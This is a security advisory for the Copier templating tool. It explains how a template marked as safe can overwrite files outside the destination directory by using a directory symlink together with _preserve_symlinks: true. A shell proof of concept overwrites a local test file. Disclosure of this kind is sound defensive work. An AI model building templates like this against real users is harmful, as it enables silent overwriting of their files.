Copier safe template has arbitrary filesystem write access via directory symlinks when _preserve_symlinks: true

Impact

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently write to arbitrary directories outside the destination path by using directory a symlink along with _preserve_symlinks: true and a generated directory structure whose rendered path is inside the symlinked directory. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc.

[!NOTE]

At the time of writing, the exploit is non-deterministic, as Copier walks the template's file tree using os.scandir which yields directory entries in arbitrary order.

Reproducible example (may or may not work depending on directory entry yield order):

mkdir other/
pushd other/
echo "sensitive" > sensitive.txt
popd

mkdir src/
pushd src/
ln -s ../other other
echo "overwritten" > "{{ pathjoin('other', 'sensitive.txt') }}.jinja"
echo "_preserve_symlinks: true" > copier.yml
tree .
# .
# ├── copier.yml
# ├── other -> ../other
# └── {{ pathjoin('other', 'sensitive.txt') }}.jinja
#
# 1 directory, 2 files
popd

uvx copier copy --overwrite src/ dst/

cat other/sensitive.txt
# overwritten

Patches

n/a

Workarounds

n/a

References

n/a